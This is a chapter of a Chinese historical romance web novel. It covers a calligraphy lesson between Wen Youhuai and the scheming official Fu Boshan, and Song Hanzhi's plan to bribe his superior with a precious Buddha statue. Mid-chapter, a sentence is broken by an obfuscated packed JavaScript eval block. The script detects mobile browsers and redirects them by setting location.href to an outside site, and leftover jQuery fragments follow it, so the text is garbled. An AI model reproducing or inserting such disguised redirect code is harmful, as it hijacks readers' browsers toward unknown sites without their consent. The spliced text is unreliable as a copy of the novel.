29. 第 29 章

作品:《珠胎

    温幼槐脸上被日光照得微微发热,快步走了进去。


    经历了昨日那一遭,她不太敢靠近傅伯山,他眼下看得十分专注,似是在检查她的抄录。


    温幼槐心里不由紧张起来,突然有一种幼时被父亲检查课业的错觉。


    没想到他放下书册,却说:“写得不错。”


    “......不过你不必拘泥于这书上的字体,专用你自己的字写一版出来我看看。”


    他站直了等她过去,眸光温雅清淡。


    温幼槐见他如此态度,也没方才那么怕了,走到跟前坐下,准备按照他所说去写,提起笔却顿住。


    她还是不知该怎么下笔。先前她曾试过一次不去模仿,但写起来却十分别扭,眼下仍是如此,更何况头顶还有一道目光正看着。


    “你不常自己写字?”傅伯山不动声色站到她身侧。


    温幼槐低声回:“平日都是为了抄书,要么也是看着字帖练。”


    她在模仿字体方面颇有心得,父亲原先也是这么教她写字的,让她照着翰墨大家的字临摹,后来她却脱离不了参照了。


    傅伯山沉吟片刻,道:“你可有能记住的诗词?”


    温幼槐不解,但点点头:“幼时背过,现在倒也能记得起来一些。”


    “那你将手边的书册合上,默一首试试。”


    他声音低沉温和,瞧不见他脸的时候,温幼槐却觉得他像个很有耐心的先生,对她这个学生循循善诱。


    就这么想着,注意力都放在了他的教导上,渐渐对他放下了防备。


    思索一番后,温幼槐听他的话合上书,下笔写了起来。


    似是因为专注在词句上,她并没注意自己写字时的习惯,自然而然就将一首词默了下来。


    写完才发现已经用自己的写法完成一幅笔墨,竟没有起先写字时的别扭感了。


    原来她的字竟是这样么......温幼槐细细看着,虽比不上方才誊抄的字迹,但瞧上去却也不难看。


    莫名的,她心里生出一种奇异的满足感,是从前练字时从没有过的感觉。


    傅伯山俯身拿走她默的词,继续指导:“每日照着方法写上一张,渐渐地就脱离旁人的影响了。”


    温幼槐安静听着,心里想他若去教书育人,定也是个好先生,却可惜走了仕途,变成现在的性子。


    傅伯山捏着纸张看了好一会儿。


    这纸上所写是放翁先生的词,陆游文章雄浑悲怆,瞧上去那么恭谨胆小的一个姑娘,却喜欢这样的词么?


    身易老,恨难忘,尊前赢得是凄凉。君归为报京华旧,一事无成两鬓霜。


    温幼槐瞧他看了许久,只当是他觉得怪,小心开口解释:“幼时父亲常看放翁先生的词,我受父亲熏陶,不知不觉就背会了。”


    她原先为了讨父亲喜欢,几乎将放翁先生的词背得滚瓜烂熟,那时却读不懂,直到今日再默,才开始明白父亲为何喜欢他的词。


    现在想来,她最喜欢的却是那句零落成泥碾作尘,只有香如故。


    “放翁先生诗词中虽有豪放怆然的,写情意却也细腻孤郁。”傅伯山轻捻着罗纹纸一角,突然说。


    温幼槐听到却一怔。


    陆游的词是孤郁。


    曾是惊鸿照影来是孤郁,零落成泥碾作尘是孤郁,她最喜欢便是他词中矛盾又缠绵的孤郁。


    只是傅伯山这样的人......也会喜欢孤郁的词调么?


    不知道为什么,她想起方才在露台上的感受,心中竟微微颤动。


    倘若他没有先前的一番举动,或许他们也能有机会能交疏吐诚吧——


    念头一出,温幼槐自己都惊到了,立刻将这想法抛到九霄云外去。


    她是有多蠢,竟还想要和傅伯山谈天说地?


    傅伯山城府之深,轻易就能将她玩弄于股掌之间。温幼槐一颗心渐渐冷静下来。


    她收回思绪,余光见他往架阁中走去了:“......刚巧我这里有一幅画,不如你帮我瞧瞧题什么字合适?”


    温幼槐没有应答,她不想再和他有任何牵扯,再者,她哪里有资格给他的画题字?


    但说话间,傅伯山已经将画拿了出来,在矮几上展开,画上却又是一只花豹。


    这只花豹并没躺着,反而气势汹汹地挺立山间,颇有些睥睨万物的意味,眼中的勃勃野心毫不掩饰。


    傅伯山缓缓开口:“我年幼时曾学过一段时间,但画艺不精,这是很多年前的画了,当时耽搁了,后来却没想到合适的题字,便空到了现在。”


    这是当年他刚参加完春闱作的画,即将步入仕途的少年意气风发,藏不住的一腔血气和欲|望,后来被反复磋磨也终于懂得韬光养晦,渐渐深于城府。


    温幼槐看了一眼,不禁有些震惊。


    很多年前傅伯山应当才做官没多久,却有这样的魄力,实在非同常人。除了作画人,旁人应是很难写出能匹配得上的题字。


    但她发现傅伯山在画活物上颇有天赋,她也曾在歙云斋中见过京中书生的画作,也有笔触成熟的,却远不及傅伯山的线条精准凌厉。


    “温夫人可有想法?”傅伯山微一俯身,问道。


    冷淡的气息瞬间向温幼槐压迫而来,她顿时头皮发麻,僵硬地摇了摇头。


    她是有想法的,刚刚第一眼看到这画便有了想法,但她不愿意写。


    傅伯山见她拒绝却纹丝不动,仍旧维持着这个姿势,幽深的目光似乎要将她吞噬。


    就这么静了片刻。


    他缓缓收身,视线从她头顶离开。


    “温夫人继续罢。”


    傅伯山淡淡丢下一句,转身往外走。


    他愿意给她时间,让她慢慢接受。但前提是她要听话。


    目前为止,她的表现似乎还不差。


    日光在架阁上静缓流动,傅伯山迈步走出听湖轩,唇边浮出一丝微笑。


    等人走了,温幼槐才拿出一张纸,将方才想的词提笔写下:


    羽箭雕弓,截虎平川。封侯事在,功名不信由天。


    这次她没刻意去模仿书中的字体,用自己的字写了下来。虽然不熟练,但别扭的感觉却少了很多。


    傅伯山的确是个好先生。她边写边想。


    写罢,温幼槐轻轻将墨水吹干,而后拿起薄纸小心翼翼地附到画上。


    词狂妄,画恣意,竟是十分相称的。


    只看了一眼,温幼槐心如擂鼓,仓皇将纸张抽出,压到了书册最下面。


    ......


    宋翰之这几日有些心烦。


    不为别的,自从何振范被贬职后,验封司员外郎魏大人直升到郎中的位子,代替何振范执掌验封司,为人却一心求佛,上任后没多久将把底下的一应事务都交由他来办,他虽面上是主事,但暗里却同员外郎没什么区别。


    宋翰之却也不是不想做,只是每日辛劳却没个名头,魏大人也对他这事没个说法,这让他心里不是很舒服。


    验封司里有一位深得他信任的吏官,名为祁勇,因他在验封司已久,对其中事务人员都十分熟悉,近来却分担了宋翰之的不少工作。


    又因宋翰之自从进了验封司后团结下官,时常请人吃酒,司内诸多大人、吏官不管心里怎么看待,面上却都待他恭恭敬敬的,办事查册也并不为难。


    祁勇这人却滑头,这日瞧出他的心事,趁无人之时稍稍提点了他几句。


    “大人,您瞧这位子空着,宫里不过问,如今傅二爷也不提,当下却没让人来补上。”


    宋翰之刚审完昭勇将军的追赠文牍,听到这话却不知是什么意思,“你只说便是,对官场上的这些潜藏规则我向来不太了解。”


    祁勇笑着走上前斟茶,“小的知道您头疼什么,不过您只需听小的一句话,这事自然能迎刃而解。”


    “哦?”宋翰之不太相信,却还是想听听他怎么说,并没反驳他,端起茶喝了一口。


    祁勇往门外探了探,而后走到宋翰之跟前,压低声音说:“这事的关键是魏郎中,我记得您母亲是徽州人士?”


    宋翰之皱了皱眉,母亲原同徽州家中断了联系,这个祁勇如何知道母亲的身世?却没表露,继续听他说。


    “徽州魏氏一族乃当地名门望族,据我所知魏大人便是出自徽州魏氏的偏支,大人不妨利用这个去魏大人府上拜访,他定会见您的。”


    宋


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519840|169786||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    翰之心里不太赞成他这个法子,原他升为主事就被人觉得不正当,如今莫非还要走旁门左道么?


    当下叫祁勇退下,自己在房内沉思片刻,便将这事暂时抛之脑后了。


    直到这日,他前去给魏大人送近日的文牍名册,要经由他一一按印,却听闻魏大人被傅二爷叫走。


    他在房中等了半个时辰,才见人回来,谁知魏大人只是瞥他一眼就摆摆手叫他退下。


    “这些还要您过目......”


    “需要你提醒我?”魏大人面色冷漠,坐在屏风后没再理会他。


    宋翰之脸色发白,只得悻悻离开。


    自从得傅二爷赏识进了验封司,他便没再同二爷说上过话了,但司里的人都默认他是二爷手下的人,是以没有对他不客气的。


    宋翰之走在外廊,缓缓攥紧了袖下的手。


    凭他现在的位子,要见二爷一面还是太难。


    再者即便是见了,他又怎么能当面提醒二爷这事?未免失了风度。


    宋翰之回到廨房后坐了一会儿,而后不知想到什么,快步走出了吏部。


    平安就在部衙外面候着,这会儿正和其他大人的马夫一起唠嗑,自打自家少爷调来了吏部,他在下人们里头都是最受捧的。


    这个时间瞧见爷出来,不由有些诧异,忙上前迎了过去。却见少爷冷着一张脸,只道:“备马回府。”


    平安不敢多问,很快将马车赶了过来,而后一路回了府中。


    宋翰之回府后立刻叫了西院的管事来,叫他支出一百两银子来。


    “爷,咱们院里一下子拿不出那么些......”管事十分为难。


    宋翰之一甩衣袍在塌上坐下,“怎么区区一百两都拿不出来?”


    管事低着头回:“您和夫人每月的用度都是从东院拨来的,一月每人五十两,除去文房四宝、衣裳首饰又是东院另拨了钱,原夫人俭省,院里每月用度都能余下不少,只是爷最近订宴听曲,在外面的支出却比从前多了不少,眼下当真拿不出一百两了......”


    宋翰之不以为意,他的俸禄原都交在东院,东院自然该拨来用度,只他却不觉自己近日花了许多,无非吃吃酒罢了。


    “去,拿了账本来我瞧瞧。”


    账本真拿到手里他才一惊,吃酒却没什么,但在昌泉阁订桌却是要付定金的,再加上对小厮掌柜的打赏,眼下院里却是连二十两都没有了!


    他日子从没紧缩过,吃酒自然也是去最好的地方,却没想这么多。


    他虽精于计算,但在钱财这类身外之物上却从没在意过,当下面色颓然。


    宋翰之一边皱眉翻着账册,一边心里想着解决办法。


    管事的在一旁说:“不知少爷要这银子是做什么用?倘或紧急的话我去找了东院支取也是一样的......”


    宋翰之却突然停了下来:“等等——”


    “这尊小叶紫檀的佛像是哪里来的?”


    管事的思索后道:“是先前何府三少夫人送来的礼,一应是由红鸢姑娘造的册。”


    “你将这佛像拿来我瞧瞧。”


    魏大人一心求佛,说不准这佛像却比银子还要好用。


    总归他不可能去问东院要这一百两,只要他开口,母亲就定然会知道,他不太想母亲干涉他在官场的事。


    谁知管事的拿来后他却吓了一跳,这紫檀佛像线条刚劲,面目饱满方圆,一瞧便是苏工技法,且不说用料,只瞧这雕刻手法便知这佛像十分珍贵,不懂这些的人却看不出来。


    何三少夫人怎会送这么贵重的礼过来?


    宋翰之想了想,又觉得极有可能是三少夫人不懂这佛像的珍稀,是以拿出来送人,却是让他得了这便宜。


    “将佛像装起来,再备些纸砚表礼一类的,我过会儿要去趟魏大人府上。”他吩咐平安道。


    管事道:“这佛像原是三少夫人送与少夫人的,要不要等少夫人回来问问再装?”


    “不必了。”宋翰之放下佛像,总归她是不懂的,送给奉佛的人岂不是更好?


    “她一向对这些不操心,你只包好,我自会告诉她。”


    平安和管事便退下去忙。